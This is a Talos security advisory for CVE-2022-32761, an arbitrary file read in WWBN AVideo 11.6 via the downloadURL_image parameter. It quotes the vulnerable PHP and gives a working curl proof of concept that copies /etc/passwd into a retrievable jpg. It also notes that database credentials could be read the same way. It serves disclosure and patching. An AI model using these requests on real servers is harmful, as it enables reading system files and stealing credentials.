Talos Vulnerability Report

TALOS-2022-1549

WWBN AVideo aVideoEncoderReceiveImage information disclosure vulnerability

AUGUST 16, 2022

CVE NUMBER

CVE-2022-32761

SUMMARY

An information disclosure vulnerability exists in the aVideoEncoderReceiveImage functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6
WWBN AVideo dev master commit 3f7c0364

PRODUCT URLS

AVideo - https://github.com/WWBN/AVideo

CVSSV3 SCORE

6.5 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-73 - External Control of File Name or Path

DETAILS

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

The `objects/aVideoEncoderReceiveImage.json.php` file can be used to add images for the videos. This functionality does not need special configuration to be used. However, the user performing the request needs permission to upload videos.

```
...
_error_log("ReceiveImage: Start receiving image " . json_encode($_FILES) . "" .
json_encode($_POST));
// check if there is en video id if yes update if is not create a new one
$video = new Video("", "", $_POST['videos_id']); // [1]
$obj->video_id = $_POST['videos_id'];

$videoFileName = $video->getFilename();
$paths = Video::getPaths($videoFileName, true);
$destination_local = "{$paths['path']}{$videoFileName}";

_error_log("ReceiveImage: videoFilename = [$videoFileName] destination_local =
{$destination_local} Encoder receiving post " . json_encode($_FILES));

$obj->jpgDest = "{$destination_local}.jpg";
if (!empty($_REQUEST['downloadURL_image'])) {
    $content = url_get_contents($_REQUEST['downloadURL_image']); // [2]
    $obj->jpgDestSize = _file_put_contents($obj->jpgDest, $content); // [3]
    _error_log("ReceiveImage: download {$_REQUEST['downloadURL_image']} to {$obj-
>jpgDest} ". humanFileSize($obj->jpgDestSize));
...
```

At [1] a new video object is created, depending on the `videos_id` parameter (this video must be owned by the user making the request).
At [2] `url_get_contents` is called to retrieve the url defined by `downloadURL_image` (either via GET or POST).
At [3] the code saves the file to `jpgDest`.

```
function url_get_contents($url, $ctx = "", $timeout = 0, $debug = false) {
    global $global, $mysqlHost, $mysqlUser, $mysqlPass, $mysqlDatabase, $mysqlPort;
    ...
    if (ini_get('allow_url_fopen')) {
        if ($debug) {
            _error_log("url_get_contents: allow_url_fopen {$url}");
        }
        try {
            $tmp = @file_get_contents($url, false, $context);
```

`url_get_contents` eventually uses `file_get_contents` (in default PHP configurations) to retrieve `$url`; however it can also be used to retrieve file paths. Since the user controls `$url`, a request can be made to copy any file in the host to the destination jpg, which can be later retrieved, allowing an attacker to read any file in the host. For example, it's possible to retrieve `videos/configuration.php`, which contains database credentials, possibly leading to privilege escalation.

Exploit Proof of Concept

This proof-of-concept retrieves `/etc/passwd`. First, create a new video:

```
$ curl -k $'https://192.168.1.200/objects/aVideoEncoder.json.php' \
    -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ia8sm01gdn8kar80bp0q5bsp9l' \
    --data-raw $'format=mp4'
{"error":false,"video_id":193,"video_id_hash":"Zjd2cC85RjBVMkZrZEhRdE5MNWh5TmY2MnVSY
0xjdjBzcUNWSEdQcC9DOD0="}
```

Copy `/etc/passwd` into a jpg file:

```
$ curl -k $'https://192.168.1.200/objects/aVideoEncoderReceiveImage.json.php' \
    -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ia8sm01gdn8kar80bp0q5bsp9l' \
    --data-raw $'videos_id=193&downloadURL_image=/etc/passwd'
{"error":false,"video_id":193,"jpgDest":"\/var\/www\/html\/AVideo\/videos\/video_220
610190050_vf30b\/video_220610190050_vf30b.jpg","jpgDestSize":979,"gifDest":"\/var\/w
ww\/html\/AVideo\/videos\/video_220610190050_vf30b\/video_220610190050_vf30b.gif","w
ebpDest":"\/var\/www\/html\/AVideo\/videos\/video_220610190050_vf30b\/video_22061019
0050_vf30b.webp","video_id_hash":"Zjd2cC85RjBVMkZrZEhRdE5MNWh5TmY2MnVSY0xjdjBzcUNWSE
dQcC9DOD0="}
```

This gives us a jpg path. Retrieving it will reveal the contents of `/etc/passwd`:

```
$ curl -k
$'https://192.168.1.200/videos/video_220610190050_vf30b/video_220610190050_vf30b.jpg
'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
```

VENDOR RESPONSE

Vendor confirms issues fixed on July 7th 2022

TIMELINE

2022-06-29 - Initial Vendor Contact

2022-07-05 - Vendor Disclosure

2022-07-07 - Vendor Patch Release

2022-08-16 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.
